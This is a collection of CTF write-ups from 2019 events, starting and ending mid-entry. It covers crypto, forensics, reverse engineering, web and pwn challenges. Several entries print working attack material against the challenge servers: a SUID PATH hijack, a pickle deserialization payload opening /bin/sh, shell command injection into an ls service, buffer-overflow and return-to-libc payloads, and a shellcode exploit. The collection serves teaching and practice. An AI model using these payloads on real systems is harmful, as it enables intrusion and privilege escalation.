print(conn.recvuntil(':', drop=True)) print(b) conn.send(b) conn.send("\r\n") s = conn.recvline() print(s)
nonce, _, _ = s.split(':') if nonce in was: was[nonce].append((b, s)) res = nonce break
was[nonce] = [(b, s)]
i += 1
with open("tmp.txt", "w") as otp: otp.write("{}: {}\n{}: {}".format(was[res][0][0], was[res][0][1], was[res][1][0], was[res][1][1]))```
Now, we know H, time to retrieve the flag:1. Encrypt message of the same length, like "may i please have the galf"2. Retrieve value of `c` for GHASH: ```python blocks = group(ciphertext) t = 0 for i, b in enumerate(blocks): t += (bytes_to_long(b) * pow(H, i + 1, n)) % n c = itag - t if c < 0: c += n ```3. Modify the ciphertext: ```python ciphertext = xor(ciphertext, [ord(x) for x in b"may i please have the flag\x00"]) ciphertext = xor(ciphertext, [ord(x) for x in b"may i please have the galf\x00"])```4. Calculate the tag (just use same logics as in GHASH)
|
# STEM CTF Cyber Challenge 2019 – Super Secret Hidden Service
* **Category:** Web* **Points:** 50
## Challenge
> https://138.247.13.115
## Solution
Connecting to the website the following message is prompted.
```421 Site 138.247.13.115 is not served on this interface```
The website is under HTTPS, but the certificate seems invalid. Analyzing the certificate, you will discover that it was created for the host `138.247.13.115.xip.io`.
Connecting to `https://138.247.13.115.xip.io/` will print the flag.
```MCA{shuHeimoowaiF5a}``` |
# STEM CTF Cyber Challenge 2019 – In Plain Text
* **Category:** Binary RE* **Points:** 50
## Challenge
> Created by: David Maples> > Starring: Mary McCormack, Fred Weller, Nichole Hiltz, Todd Williams, Lesley Ann Warren, Paul Ben-Victor, Cristián de la Fuente, Rachel Boston> > [download](https://github.com/m3ssap0/CTF-Writeups/raw/master/STEM%20CTF%20Cyber%20Challenge%202019/In%20Plain%20Text/challenge)
## Solution
Using `strings` command on the given ELF file you will discover the flag in plain text.
```$ strings challenge /lib/ld-linux.so.2libc.so.6_IO_stdin_usedputsstdinprintffgets__cxa_finalizestrcmp__libc_start_main__stack_chk_failGLIBC_2.1.3GLIBC_2.4GLIBC_2.0_ITM_deregisterTMCloneTable__gmon_start___ITM_registerTMCloneTableUWVS[^_]Hey there, I know I am the challenge and all, but I forgot what the flag was...Could you just tell me the flag real quick? Please? MCA{y3ah_sur3_here_y0u_g0}That definitely rings a bell! Thank you!That doesn't sound familiar... :/;*2$"GCC: (Ubuntu 7.3.0-16ubuntu3) 7.3.0crtstuff.cderegister_tm_clones__do_global_dtors_auxcompleted.7281__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entrychallenge.c__FRAME_END____init_array_end_DYNAMIC__init_array_start__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___libc_csu_finistrcmp@@GLIBC_2.0_ITM_deregisterTMCloneTable__x86.get_pc_thunk.bxprintf@@GLIBC_2.0fgets@@GLIBC_2.0_edata__stack_chk_fail@@GLIBC_2.4__x86.get_pc_thunk.dx__cxa_finalize@@GLIBC_2.1.3__data_startputs@@GLIBC_2.0__gmon_start____dso_handle_IO_stdin_used__libc_start_main@@GLIBC_2.0__libc_csu_initstdin@@GLIBC_2.0_fp_hw__bss_startmain__stack_chk_fail_local__TMC_END___ITM_registerTMCloneTable.symtab.strtab.shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.plt.got.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.dynamic.data.bss.comment```
The flag is the following.
```MCA{y3ah_sur3_here_y0u_g0}``` |
# STEM CTF Cyber Challenge 2019 – Warm Up
* **Category:** Crypto* **Points:** 50
## Challenge
> Everyone says that PGP is hard to use. Show ‘em how it’s done.
## Solution
The challege gives you [some files](https://github.com/m3ssap0/CTF-Writeups/raw/master/STEM%20CTF%20Cyber%20Challenge%202019/Warm%20Up/warm-up.zip).
The first step is to import the secret key.
```$ gpg --allow-secret-key-import --import mitre-ctf-2019-private.ascgpg: key D70E64BECB374E23: "CTF Competitor (This is private key for a 2019 MITRE CTF Competitor and should not be trusted!) <fake@fake>" not changedgpg: key D70E64BECB374E23: secret key importedgpg: Total number processed: 1gpg: unchanged: 1gpg: secret keys read: 1gpg: secret keys unchanged: 1```
Then, using the passphrase into `passphrase.txt` file: `just use ctfd`, decrypt the `key.enc` file.
```$ gpg --output key --decrypt key.encgpg: encrypted with 2048-bit RSA key, ID 2D312D1F87BA2B5E, created 2018-12-03 "CTF Competitor (This is private key for a 2019 MITRE CTF Competitor and should not be trusted!) <fake@fake>"gpg: Signature made lun 03 dic 2018 23:48:09 CETgpg: using RSA key 587735E31F0B06751ACD0D53CDE38825F2FFFCB4gpg: Can't check signature: No public key```
The `flag.html.enc` file is salted and encrypted with OpenSSL.
```$ binwalk flag.html.enc
DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 OpenSSL encryption, salted, salt: 0xF61A179-5D7CAE48```
The following OpenSSL command can be used to decrypt it.
```$ openssl aes-256-cbc -kfile key -d -in flag.html.enc -out flag.html -md md5```
The decrypted file contains a false flag and a real one hidden.
```$ more flag.html
<html><head> <title>MITRE CTF 2019 Homepage.</title></head><body><h1>This is an HTML Page</h1>Test Flag please ignore:MCA{0p3n55l_c0mm4nd_l1ne_ch4ll3ng3_fl4g}MCA{66b2f50cd2d6b9622c6be902ee2b0976badb4684}</body></html>```
Test Flag please ignore:
MCA{0p3n55l_c0mm4nd_l1ne_ch4ll3ng3_fl4g}
MCA{66b2f50cd2d6b9622c6be902ee2b0976badb4684}
The flag is the following.
```MCA{66b2f50cd2d6b9622c6be902ee2b0976badb4684}``` |
# STEM CTF Cyber Challenge 2019 – Turing Test
* **Category:** Web* **Points:** 50
## Challenge
> Break into his account!> > http://138.247.13.111
## Solution
The shown web page seems to perform a password reset functionality via security questions. It seems to be related to the account recovery of *Alan Turing*.
If you submit data, the web page will highlight in red wrong fields.
Some recon activities on the Internet about Alan Turing must be done in order to answer security questions.
After few attepts you will discover all the answers:* Text field - *Mother's Maiden Name* - Stoney* Text field - *First School Attended* - St. Michael's* Text field - *Favorite Primary School Subject* - Science* Text field - *Favorite Olympic Event* - Marathon* Text field - *2 + 2 - 3 = ?* - 1* Checkbox - *Is it a leap year?* - checked* Checkbox - *I agree Security Questions are Bad.* - checked
The flag is the following.
```MCA{sms_2fa_is_bad_also}``` |
# Quals Saudi and Oman National Cyber Security CTF 2019 – I love images
* **Category:** Digital Forensics* **Points:** 50
## Challenge
> A hacker left us something that allows us to track him in this image, can you find it?> > [https://s3-eu-west-1.amazonaws.com/hubchallenges/Forensics/godot.png](https://s3-eu-west-1.amazonaws.com/hubchallenges/Forensics/godot.png)
## Solution
This is a steganography challenge.
Opening the image with an hexadecimal editor will reveal a strange content at the end.
```IZGECR33JZXXIX2PNZWHSX2CMFZWKNRUPU======```
The string is encoded in base32, decoding it will reveal the flag.
```FLAG{Not_Only_Base64}``` |
# Description
Our team has gained limited access to an important system, can you help us escalate our privilege and find the flag?
`ssh [email protected]`
# Solution
In the server, you will find the file `HackMe`. It is an executable with SUID, which means it is executed with root privileges. Our objectif is to print the content of `/root/flag.txt`.
If you run the program, you get the output `Yadayadayada`. What is that? Better check its source. There is probably a better way to do it, but a good old `strings HackMe` will do the work. Without all the gibberish, you can find `head /var/log/auth.log`.
And indeed, if you execute this command, you get `Yadayadayada`. All we need to do is divert `head` so the program will run what it thinks is `head` with root privilege.
First, create a fake `head` with `echo bash > head`. But `HackMe` won't execute this file unless it finds it in the PATH variable. So let's modify the PATH variable with `PATH=/home/ctf:$PATH`. Finally, our script must be executable: `chmod +x head`.
That's it. When you run `HackMe`, it will execute our `head` and launch bash with root privilege.
`cat /root/flag.txt` yields `MCA{ON5cahqu4ooguaw}`. |
# TAMUctf 2019 - Misc - All challs excluding Onboarding Checklist
## HowdyWelcome to TAMUctf! This year most of the challenges will be dynamically scored meaning the point value will adjust for everyone, including those have already solved the challenge, based on the number of solves.
The secure coding challenges will appear when you have solved their corresponding challenges.
If you have any questions or issues feel free to contact the devs on the discord.
Good luck and have fun!
The flag is: `gigem{H0wdy!}`
**Solve**Obviously the flag is gigem{H0wdy!}
## Who am I?What is the A record for `tamuctf.com`? (Not in standard `gigem{flag}` format)
**Solve**
ping tamuctf.com
The flag is 52.33.57.247
## Who do i Trust?Who issued the certificate to `tamuctf.com`? (Not in standard `gigem{flag}` format)
**Solve**We just have to see the certificate on the browser
The flag is Let's Encrypt Authority X3
## Where am I?What is the name of the city where the server for tamuctf.com is located?
(Not in standard gigem{flag} format)
**Solve**With any random geo location tool or website we can find the flag.
The flag is Boardman
## I heard you like files.Bender B. Rodriguez was caught with a flash drive with only a single file on it. We think it may contain valuable information. His area of research is PDF files, so it's strange that this file is a PNG.
**Solve**
$ binwalk -e art.png $ DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 1920 x 1080, 8-bit/color RGBA, non-interlaced 3408641 0x340301 PDF document, version: "1.5" 3408712 0x340348 Zlib compressed data, default compression 3412206 0x3410EE Zlib compressed data, default compression 3418964 0x342B54 Unix path: /Type/FontDescriptor/FontName/BAAAAA+NotoSans-Regular 3419203 0x342C43 Zlib compressed data, default compression 3419623 0x342DE7 Unix path: /Type/Font/Subtype/TrueType/BaseFont/BAAAAA+NotoSans-Regular 3419994 0x342F5A Zlib compressed data, default compression 3428648 0x345128 Unix path: /Type/FontDescriptor/FontName/CAAAAA+DejaVuSerif 3428883 0x345213 Zlib compressed data, default compression 3429245 0x34537D Unix path: /Type/Font/Subtype/TrueType/BaseFont/CAAAAA+DejaVuSerif 3429667 0x345523 Unix path: /S/Transparency/CS/DeviceRGB/I true>>/Contents 2 0 R>> 3430685 0x34591D Zip archive data, at least v2.0 to extract, compressed size: 217, uncompressed size: 573, name: _rels/.rels 3430943 0x345A1F Zip archive data, at least v2.0 to extract, compressed size: 288, uncompressed size: 511, name: docProps/app.xml 3431277 0x345B6D Zip archive data, at least v2.0 to extract, compressed size: 356, uncompressed size: 731, name: docProps/core.xml 3431680 0x345D00 Zip archive data, at least v2.0 to extract, compressed size: 222, uncompressed size: 663, name: word/_rels/document.xml.rels 3431960 0x345E18 Zip archive data, at least v2.0 to extract, compressed size: 165, uncompressed size: 208, name: word/settings.xml 3432172 0x345EEC Zip archive data, at least v2.0 to extract, compressed size: 297, uncompressed size: 918, name: word/fontTable.xml 3432517 0x346045 Zip archive data, at least v2.0 to extract, compressed size: 83172, uncompressed size: 84725, name: word/media/image1.png 3515768 0x35A578 Zip archive data, at least v2.0 to extract, compressed size: 1138, uncompressed size: 4099, name: word/document.xml 3516953 0x35AA19 Zip archive data, at least v2.0 to extract, compressed size: 605, uncompressed size: 2192, name: word/styles.xml 3517603 0x35ACA3 Zip archive data, at least v2.0 to extract, compressed size: 352, uncompressed size: 1443, name: [Content_Types].xml 3518004 0x35AE34 Zip archive data, at least v1.0 to extract, compressed size: 20, uncompressed size: 20, name: not_the_flag.txt 3518847 0x35B17F End of Zip archive
(I tried to grep for the flag before, but nothing brought the flag to us)
In word/media we have other png file, it's not necessary use binwalk, even if it's not a simple png again, just:
cat image1.png
In the end of the file:
ZmxhZ3tQMGxZdEByX0QwX3kwdV9HM3RfSXRfTjB3P30K
Clearly a base64:
The flag is flag{P0lYt@r_D0_y0u_G3t_It_N0w?}
## Hello WorldMy first program!
Difficulty: medium
**Solve**We just have a simple C++ program, but with whitespaces before him, looks like a literally whitespace language:
I used this program to translate https://github.com/koturn/Whitespace
After translate in the file we can see the possible flag in table ASCII numbers:
push(103); push(105); push(103); push(101); push(109); push(123); push(48); push(104); push(95); push(109); push(121); push(95); push(119); push(104); push(52); push(116); push(95); push(115); push(112); push(52); push(99); push(49); push(110); push(103); push(95); push(121); push(48); push(117); push(95); push(104); push(52); push(118); push(51); push(125); push(33); push(101); push(99); push(97); push(112); push(115); push(101); push(116); push(105); push(104); push(119); push(32); push(102); push(111); push(32); push(116); push(111); push(108); push(32); push(97); push(32); push(115); push(105); push(32); push(101); push(114); push(117); push(115); push(32); push(116); push(97); push(104); push(116); push(32); push(44); push(101); push(101); push(103); push(32); push(121); push(108); push(108); push(111); push(103); push(32); push(116); push(101); push(101); push(119); push(115); push(32); push(108); push(108); push(101); push(87);
Translating this:
gigem{0h_my_wh4t_sp4c1ng_y0u_h4v3} |
Long story short: we used *frida* to patch the code and let it compute the solutions.You can find all the details by following the provided link (https://zenhack.it/writeups/XmasCTF2018/catana/) |
# TAMUctf 2019 - Crypto - -.-
## ChallTo 1337-H4X0R:
Our coworker Bob loves a good classical cipher. Unfortunately, he also loves to send everything encrypted with these ciphers. Can you go ahead and decrypt this for me?
File: https://paste2.org/cXGytOYV
## Solve
This was a pretty simple challenge, searching about the "dah-dit-di's" we can find out that this is a morse code, it is possible to solve with a text editor just replacing the text with slashes or dots, but i made a script in python to do this, you can find in my github:
https://github.com/fernandormoraes/morsereflectedsoundtranslator(Well, i just haven't figured out a good name for the repo, lmao)
My script will return translated and then we'll have a hex:
0X57702A6C58744751386538716E6D4D59552A737646486B6A49742A5251264A705A766A6D2125254B446B6670235E4E39666B346455346C423372546F5430505A516D4351454B5942345A4D762A21466B386C25626A716C504D6649476D612525467A4720676967656D7B433169634B5F636C31434B2D7930755F683476335F6D3449317D20757634767A4B5A7434796F6D694453684C6D385145466E5574774A404E754F59665826387540476E213125547176305663527A56216A217675757038426A644E49714535772324255634555A4F595A327A37543235743726784C40574F373431305149
In any random hex converter:
Wp*lXtGQ8e8qnmMYU*svFHkjIt*RQ&JpZvjm!%%KDkfp#^N9fk4dU4lB3rToT0PZQmCQEKYB4ZMv*!Fk8l%bjqlPMfIGma%%FzG gigem{C1icK_cl1CK-y0u_h4v3_m4I1} uv4vzKZt4yomiDShLm8QEFnUtwJ@NuOYfX&8u@Gn!1%Tqv0VcRzV!j!vuup8BjdNIqE5w#$%V4UZOYZ2z7T25t7&xL@WO7410QI
There is: gigem{C1icK_cl1CK-y0u_h4v3_m4I1} |
# Pwn2Pwn
## Challenge
nc pwn.tamuctf.com 4322
Difficulty: easy
[pwn2](pwn2)
## Solution
#### Understand the program
Upon disassembling the binary, we notice that it checks for a 'one' string
; Variables: ; arg_0: int, 8 ; var_4: -4 ; var_C: -12 ; var_2A: -42
// arg0 is the result from gets() and is passed from the main() int select_func(int arg0) { sub_550(); // strcpy arg0 into local buffer if (sub_4d0() == 0x0) { // strcmp if buffer == 'one' var_C = one; // run function one } eax = (var_C)(); return eax; }
Checking on the program, it kinda does as we guessed.
# nc pwn.tamuctf.com 4322 Which function would you like to call? one This is function one!
Now, if we inspect the binary functions, we want to return to a function called `print_flag()` which is located at `0x6d8`
(gdb) info add print_flag Symbol "print_flag" is at 0x6d8 in a file compiled without debugging.
#### Finding Address
This time we are given a binary with PIE enabled.
# pwn checksec ./pwn2 [*] '/FILES/pwn2' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
> NX is enabled means stack is not executable. PIE means position independent executable, This means that the binary instructions itself is loaded arbitrarily in the memory. So we can't have shellcode and normal ROP over the binary.RELRO refers to the writability of the GOT section
This means we do not have an address that can be retrieved from the static binary.
---
Even though PIE is enabled, it is noticed that everytime it runns, the memory address is fixed.
There is a mapping for the start address of the functions at `0x56555000`
(gdb) info proc mappings process 59831 Mapped address spaces:
Start Addr End Addr Size Offset objfile 0x56555000 0x56556000 0x1000 0x0 /FILES/pwn2 0x56556000 0x56557000 0x1000 0x0 /FILES/pwn2 0x56557000 0x56558000 0x1000 0x1000 /FILES/pwn2 0x56558000 0x5657a000 0x22000 0x0 [heap]
So we can simply calculate the address of `print_flag()`
print_flag() = 0x6dc + 0x56555000
In order to craft the payload, we need to know the char counts to fill the buffer. Refer back to source code
; Variables: ; arg_0: int, 8 ; var_4: -4 ; var_C: -12 ; var_2A: -42
// arg0 is the result from gets() and is passed from the main() int select_func(int arg0) { sub_550(); // strcpy arg0 into local buffer of var_2A if (sub_4d0() == 0x0) { // strcmp if buffer == 'one' var_C = one; // run function one } eax = (var_C)(); return eax; }
> We notice that the address of `var_C` is being executed.
> `var_C` is located directly after `var_2A` which is the input buffer.
> The input buffer is `(-12) - (-42) = 30` in length.
Final payload
# python -c "from pwn import *; print cyclic(30) + p32(0x6dc + 0x56555000)" | nc pwn.tamuctf.com 4322 Which function would you like to call? This function is still under development. gigem{4ll_17_74k35_15_0n3}
## Flag
gigem{4ll_17_74k35_15_0n3}
Other References:https://ocw.cs.pub.ro/courses/cns/labs/lab-10https://github.com/ByteBandits/writeups/tree/master/hack.lu-ctf-2015/exploiting/Stackstuff/sudhackarhttps://dilsec.com/2017/07/27/google-ctf-2017-pwnables-wiki-writeup/https://toh.necst.it/hack.lu/2015/exploitable/StackStuff/ |
# VeggieTalesPwn
## Challenge
It's my favorite show to watch while practicing my python skills! I've seen episode 5 at least 13 times.
nc pwn.tamuctf.com 8448
Difficulty: easy-medium
2.23 1:58 pm CST: Added hint to description
## Solution
#### Program Operation
We are given 4 choices
1. Add an episode to your watched list 2. Print your watch list 3. Backup your watch list 4. Load your watch list
And we can add many episodes
1. Wheres God When Im S-Scared? 2. God Wants Me to Forgive Them!?! 3. Are You My Neighbor? 4. Rack, Shack and Benny 5. Dave and the Giant Pickle 6. The Toy That Saved Christmas 7. Larry-Boy! And the Fib from Outer Space! ... 45. Celery Night Fever 46. Beauty and the Beet 47. Noahs Ark Enter an episode (by number) to add to your watched list: 5
After which we can print
---------------------- List of watched episodes: 5. Dave and the Giant Pickle ----------------------
Backup Episode list backup string (Don't lose it!): tNAqpDOLUDNNNQHhVPORLKMyVTShMPO0nTHtE2yuoaDtHTywn2kypDSuYt==
And load it again
Load your backed up list here: tNAqpDOLUDNNNQHhVPORLKMyVTShMPO0nTHtE2yuoaDtHTywn2kypDSuYt== Loaded backup
Load your backed up list here: hello Invalid backup
---
#### Python Pickle
Since it says that a hint is added to episode 5. Perhaps it has something to do [with Python and Pickles](https://blog.nelhage.com/2011/03/exploiting-pickle/).
5. Dave and the Giant Pickle
To confirm, let's backup immediately upon loading the program. This probably refers to an empty list
Episode list backup string (Don't lose it!): tNAqpDNh
To simplify my life, I made a helper script to encode/decode.
> [helper.py](helper.py)
Encoding a empty array...
>>> encode([]) b'gANdcQAu'
I realised the server and my self encoded do not match
$ echo tNAqpDNh | base64 -D | xxd # server 00000000: b4d0 2aa4 3361 ..*.3a $ echo gANdcQAu | base64 -D | xxd # self 00000000: 8003 5d71 002e ..]q..
---
#### Could it be XOR? (TLDR; not working)
I initially though it was XOR cipher and tried out....
**Backup empty array**
server = 'tNAqpDNh' self = encode([]) self = 'gANdcQAu' >>> bxor(base64.b64decode(self), base64.b64decode(server)).hex() '34d377d5334f'
**Backup `9. Madame Blueberry`**
# Episode list backup string (Don't lose it!): # tNAqpDOLSNNNNQxhVPOALJEuoJHtDzk1MJWypaW5pDSuYt==
server = 'tNAqpDOLSNNNNQxhVPOALJEuoJHtDzk1MJWypaW5pDSuYt==' # self = encode(['9. Madame Blueberry']) self = 'gANdcQBYFAAAADkuICBNYWRhbWUgQmx1ZWJlcnJ5cQFhLg==' >>> bxor(base64.b64decode(server), base64.b64decode(self)).hex() '34d377d533d35cd34d35354f74d3cd4df54fcdf4cd4d554055f7d7d7d7c0d535cf4c'
**Backup `9. Madame Blueberry` and `28. Tomato Sawyer and Huckleberry Larrys Big River Rescue`**
server = 'tNAqpDNbJODNNNN5YvNtGJSxLJ1yVRWfqJIvMKWlrKROJQxNNNNlBP4tIT9gLKEiVSAuq3yypvOuozDtFUIwn2kyLzIlpaxtGTSlpaymVRWcMlOFnKMypvOFMKAwqJIkNzHh' self = encode(['9. Madame Blueberry', '28. Tomato Sawyer and Huckleberry Larrys Big River Rescue']) >>> bxor(base64.b64decode(server), base64.b64decode(self)).hex() '34d377d533737cf4cd34d3404cd34d55f5d54df0177557f3ddf74d55d7d7d5d54f7d354d34d3573cd00d75500d4dd54d75734fdc05d7d4d3cfcd54cd5d3753f405574d5757d7d54d5555d7d7d5d57557f55573d7f5d557d4d3d755d353ddf7553554cf'
It seemed to match so I tried using it as a key.
def make_backup_string(obj): string = pickle.dumps(obj) key = bytes.fromhex('34d377d533737cf4cd34d3404cd34d55f5d54df0177557f3ddf74d55d7d7d5d54f7d354d34d3573cd00d75500d4dd54d75734fdc05d7d4d3cfcd54cd5d3753f405574d5757d7d54d5555d7d7d5d57557f55573d7f5d557d4d3d755d353ddf7553554cf') encoded = bxor(string, key) return base64.b64encode(encoded)
>>> make_backup_string(['9. Madame Blueberry', '28. Tomato Sawyer and Huckleberry Larrys Big River Rescue']) b'tNAqpDNbJODNNNN5YvNtGJSxLJ1yVRWfqJIvMKWlrKROJQxNNNNlBP4tIT9gLKEiVSAuq3yypvOuozDtFUIwn2kyLzIlpaxtGTSlpaymVRWcMlOFnKMypvOFMKAwqJIkNzHh'
>>> make_backup_string(['aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaau']) >>> make_backup_string(['aaaabaaacaaadaaaeaaa', 'gaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaau']) >>> make_backup_string(['9. 0123456789ABCDEF', '28. Tomato Sawyer and Huckleberry Larrys Big River Rescue'])
But no matter what I tried, it does not accept it.
Load your backed up list here: tNAqpDMrLfTNNLIhLbIvNJS0LpF2FDOSvJYoNLa2s7QuHFIsVbI/XbFsHDFsLL8sFBIkvWS2uLKurDmsPFY9lWQ2IjY2tqUsNDSmtrS0BzaUNAC2lLQjtbK2IKJSvNk= Invalid backup
### ROT13 Cipher?
Soon after, I noticed something. There is a 1-1 mapping between the letters!
server = 'tNAqpDNh' self = 'gANdcQAu'
server = 'tNAqpDOLSNNNNQxhVPOALJEuoJHtDzk1MJWypaW5pDSuYt==' self = 'gANdcQBYFAAAADkuICBNYWRhbWUgQmx1ZWJlcnJ5cQFhLg=='
On close inspection and testing, it is ROT13.
So let's update our function helper
def make_backup_string(obj): string = pickle.dumps(obj) encoded = base64.b64encode(string).decode() return codecs.encode(encoded, "rot-13")
And try out on server
>>> make_backup_string(['Hello World']) 'tNAqpDOLPjNNNRuyoTkiVSqipzkxpDSuYt=='
And it works!!!
Load your backed up list here: tNAqpDOLPjNNNRuyoTkiVSqipzkxpDSuYt== Loaded backup
1. Add an episode to your watched list 2. Print your watch list 3. Backup your watch list 4. Load your watch list 2 ---------------------- List of watched episodes: Hello World
### The Exploit
Now that we are able to send a Pickle, let's get a shell.
> Reference: https://blog.nelhage.com/2011/03/exploiting-pickle/
class RunBinSh(object): def __reduce__(self): return (subprocess.Popen, (('/bin/sh',),))
>>> make_backup_string(RunBinSh()) 'tNAwp3IvpUWiL2ImpjcDo3OyotckNStUNNNNY2Wcov9mnUROuKRPuKRQHaRRYt=='
Run on server
Load your backed up list here: tNAwp3IvpUWiL2ImpjcDo3OyotckNStUNNNNY2Wcov9mnUROuKRPuKRQHaRRYt== Loaded backup
1. Add an episode to your watched list 2. Print your watch list 3. Backup your watch list 4. Load your watch list 2 /bin/sh: 1: 2: not found ls flag.txt server.py cat flag.txt gigem{d0nt_7rust_th3_g1ant_pick1e}
## Flag
gigem{d0nt_7rust_th3_g1ant_pick1e} |
# Pwn4Pwn
## Challenge
nc pwn.tamuctf.com 4324
Difficulty: medium
## Solution
Program is simple enough
# ./pwn4 ls as a service (laas)(Copyright pending) Enter the arguments you would like to pass to ls: HELLO Result of ls HELLO: ls: cannot access 'HELLO': No such file or directory
Try on server
# nc pwn.tamuctf.com 4324 ls as a service (laas)(Copyright pending) Enter the arguments you would like to pass to ls: . Result of ls .: flag.txt pwn4
ls as a service (laas)(Copyright pending) Enter the arguments you would like to pass to ls: flag.txt Result of ls flag.txt: flag.txt
ls as a service (laas)(Copyright pending) Enter the arguments you would like to pass to ls: ; cat flag.txt Result of ls ; cat flag.txt: flag.txt pwn4 gigem{5y573m_0v3rfl0w}
Flag text indicates that this is the unintended solution.
## Flag
gigem{5y573m_0v3rfl0w} |
### Wee Token
The last of the assert challenges, this one focuses on the `assert_string()` statement, which checks to see if an input string is actually a string.
```javascriptexternals.addFunction( // Wee is statically typed. Finding a way to confuse the VM is impossible. "assert_string", [{name: "str", type: compiler.StringType}], compiler.StringType, false, (str: string) => typeof str == "string" ? "WEE is statically typed. Sorry, confusing the VM is impossible." : flags.WEE_TOKEN)```
One option we have is to use the `eval()` JavaScript function to our advantage. This function takes a string input that represents a JavaScript expression, and returns the completion value of evaluating the expression as a string. However, if it's given an empty string as input, it will return `undefined`, which has its own type. So now if we use `alert(assert_string(eval('')))` as the value for the `code` parameter in our POST request to `/wee/run`, we'll get our flag.
[This Python script](https://github.com/AndreyRainchik/Writeups/tree/master/35c3%20junior/files/flag_scripts/weetoken.py "Python script to get the flag") will run through this process and print out the flag of `35C3_WEE_IS_TINY_AND_SO_CONFU5ED` |
# Pwn5Pwn
## Challenge
nc pwn.tamuctf.com 4325
Difficulty: medium
[pwn5](pwn5)
## Solution
Same as Pwn2, but now we have a char limit. We are only allowed 3 chars.
$ nc pwn.tamuctf.com 4325 ls as a service (laas)(Copyright pending) Version 2: Less secret strings and more portable! Enter the arguments you would like to pass to ls: ABCD Result of ls ABC:
However, notice that it is still vulnerable to buffer overflow
# pwn cyclic 50 | strace ./pwn5 --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x66616161} ---
# pwn cyclic -l 0x66616161 17
We can try a return-to-libc attack to get it to run a shell.
### return-to-libc attack
> Reference:> https://bitvijays.github.io/LFC-BinaryExploitation.html
Find address of system() and exit() function
(gdb) info add system Symbol "system" is at 0x804ee30 in a file compiled without debugging.
(gdb) info add exit Symbol "exit" is at 0x804e330 in a file compiled without debugging.
Try payload without parameters
# python -c 'from pwn import *; print cyclic(17) + p32(0x0804ee30)' | ./pwn5 ls as a service (laas)(Copyright pending) Version 2: Less secret strings and more portable! Enter the arguments you would like to pass to ls: Result of ls aaa: ls: cannot access 'aaa': No such file or directory sh: 1: : not found Segmentation fault
So it works, but we need to pass a parameter of a string. This is so we can execute it like system("/bin/sh") and get a shell.
In hopper disassembly, we see a static string in the memory
aBinsh: 080bc140 db "/bin/sh", 0
---
So the format for our payload is as follows:
[17 bytes] JUNK: fill buffer [4 bytes] 0x0804ee30: return to system() address [4 bytes] 0x0804e330: return to exit() after executing system() [4 bytes] 0x080bc140: parameter 1 of system()
Run final payload
$ SCRIPT='from pwn import *; print cyclic(17) + p32(0x0804ee30) + p32(0x0804e330) + p32(0x080bc140)' $ # (python -c "$SCRIPT"; cat) | nc pwn.tamuctf.com 4325 ls as a service (laas)(Copyright pending) Version 2: Less secret strings and more portable! Enter the arguments you would like to pass to ls: Result of ls aaa:
ls -la total 728 drwxr-xr-x 1 root root 4096 Feb 19 20:47 . drwxr-xr-x 1 root root 4096 Feb 23 22:23 .. -r--r--r-- 1 pwnflag pwnflag 32 Feb 19 20:46 flag.txt -rwsr-xr-x 1 pwnflag pwnflag 730072 Feb 19 20:46 pwn5 cat flag.txt gigem{r37urn_0r13n73d_pr4c71c3}
## Flag
gigem{r37urn_0r13n73d_pr4c71c3} |
# Pwn3Pwn
## Challenge
nc pwn.tamuctf.com 4323
Difficulty: easy
[pwn3](pwn3)
## Solution
Running on server, we see a pointer
$ nc pwn.tamuctf.com 4323 Take this, you might need it on your journey 0xffe744de!
Decompile in Hopper
int main(int arg0) { __x86.get_pc_thunk.ax(); sub_440(); echo(); return 0x0; }
void sub_440() { (*(ebx + 0x18))(); // setvbuf } void sub_410() { (*(ebx + 0xc))(); // printf } void sub_420() { (*(ebx + 0x10))(); // gets }
int echo() { eax = __x86.get_pc_thunk.bx(); stack[1966] = &var_12A; // Buffer Pointer stack[1965] = ebx + 0x104; // "Take this, you might need it on your journey %p!" eax = sub_410(); // printf stack[1965] = &var_12A; // Buffer Pointer eax = sub_420(); // gets esp = ((esp - 0x10) + 0x10 - 0x10) + 0x10; ebx = var_4; return eax; }
---
From `echo()`, we understand that:
1. `gets()` is vulnerable to buffer overflow2. the pointer is the beginning of the buffer
With this, we can execute a return-to-buffer shellcode attack.
Using pwn cyclic, we get the offset of 302.
> I refer to some code from here: http://ctfhacker.com/ctf/pwnable/2015/08/05/polictf-johns-library.html
And created an exploit script using pwntools..
# python solve.py [*] Starting [+] Opening connection to pwn.tamuctf.com on port 4323: Done [*] Leaking buffer [*] Found address: 0xffc7f9be [*] Preparing shellcode [*] Sending shellcode [*] Switching to interactive mode
$ ls flag.txt pwn3 $ cat flag.txt gigem{r3m073_fl46_3x3cu710n} $
## Flag
gigem{r3m073_fl46_3x3cu710n} |
```Our network was recently breached by some 0-day that we never saw before.I am providing you with the pcap of the network. Please find out what did they take.
Difficulty estimate: Easy```
This challenge really intrigued me since it didn't provide us with a binary, so I was really curious about how should one approach this problem.
Since we are provided with a pcap we start by firing up wireshark and analyzing the packets.
Besides ssh and tls traffic there are some interesting tcp packets sending some data. I applied the data as a column in tcp so i can see all the packets sending data, and something amazing showed up. Those packets were actually the exploit being sent over the wire.
I wanted to get all those packets in order to analyze them more in-depth so i opend scapy and filtered the packets that were communicationg on port 4445 since the communication took place on that port.
